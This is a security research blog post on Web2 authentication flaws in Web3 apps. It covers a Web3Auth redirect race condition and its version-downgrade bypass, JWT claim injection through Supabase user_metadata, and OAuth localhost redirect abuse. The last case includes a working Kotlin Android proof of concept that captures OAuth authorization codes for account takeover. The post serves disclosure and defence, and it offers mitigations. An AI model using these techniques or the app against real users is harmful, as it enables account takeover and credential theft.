Mar 7, 2025
Subverting Web2 Authentication in Web3
Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.

Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.
In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.
In this article, we will discuss three cases we discovered:
- OAuth Logic Vulnerability on an Authentication Provider
- Supabase
user_metadata
misconfiguration - OAuth abuse in localhost development environment
Abusing OAuth Authentication Logic
During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.
Web3Auth Introduction
Web3Auth is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports OAuth2 authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.
Web3Auth Authentication flow
The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:
After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the client_id
. This design ensures that you cannot use the token to authenticate against any unauthorized application.
Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The /start
validates the redirect_url
against the configured whitelist to ensure it matches one of the allowed URLs.
In-transit Cryptography
The session server employs cryptography to securely send and receive authentication parameters. The cryptographic key is derived from the sessionId
sent in the GET
parameter to the /start
. Since the sessionId
can be controlled, it allows us to send and receive data from the session server.
Race Condition
As shown in the diagram, the configuration data from the session server is validated only during the /start
and later used in the /end
enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (/start
) but before use (/end
).
To exploit this race condition, an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same sessionId
but with modified malicious parameters.
What can be modified to achieve something impactful?
The answer is quite simple if you understand how OAuth works. The attacker can simply change the redirect_uri
parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by client_id
.
Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.
Patch & Bypass
The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.
To bypass the fix we were able to change the version in the URL:
https://auth.web3auth.io/v8/start
(latest version)https://auth.web3auth.io/v6/start
(bypass)
We reported this issue, and it was addressed just as quickly!
Supabase metadata manipulation
Supabase Authentication flow
Supabase is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a JWT for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.
JWT verification
In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as user_metadata
and identity_data
, in a signup request by manipulating the input inside the "data": {}
structure. These fields were then directly reflected in the issued JWT without validation.
For example, an attacker could send a signup request with arbitrary data, such as "role": "admin"
or "email_verified": true
, which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as "test": "test"
, enabling us to inject arbitrary data into the final JWT token.
In this example we are controlling the "role" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.
The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.
function parseSupaBase(token) {
try {
const [header, payload, signature] = token.split('.');
const decodedHeader = JSON.parse(atob(header));
const decodedPayload = JSON.parse(atob(payload));
return { header: decodedHeader, payload: decodedPayload, signature };
} catch (error) {
console.error('Error parsing token:', error);
return null;
}
}
Mitigation
Developers should avoid trusting input from their Supabase custom domain. Row-Level Security (RLS) on Supabase should be enforced, plus important and private fields should be defined in app_metadata
. These fields must be strictly validated at every step of their creation and update processes.
OAuth in development environments
After watching a talk by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the redirect_uri
parameter during the OAuth flow.
Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without Remote Code Execution (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.
In one of our client's implementations, we identified that localhost:3000
was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.
For the exploitation, the final Google OAuth URL was constructed as follows:
https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow
Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Start the Ktor web server
CoroutineScope(Dispatchers.IO).launch {
try {
startWebServer()
Log.d("WebServer", "Server started on http://localhost:3000")
} catch (e: Exception) {
Log.e("WebServer", "Error starting server: ${e.message}", e)
}
}
// Open the Google OAuth page
val googleOAuthUrl = "https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow"
val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))
startActivity(browserIntent)
}
private fun startWebServer() {
embeddedServer(CIO, port = 3000) {
routing {
get("{...}") {
call.respondHtml {
head {
meta(charset = "UTF-8")
meta(name = "viewport", content = "width=device-width, initial-scale=1.0")
title("OAuth Redirect")
}
body {
h1 { +"Google OAuth Redirect" }
script {
+"document.body.innerText = location.search;"
}
}
}
}
}
}.start(wait = true)
}
}
The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.
Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.
Mitigation
As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth redirect_uri
parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.
Conclusion
In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.
By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.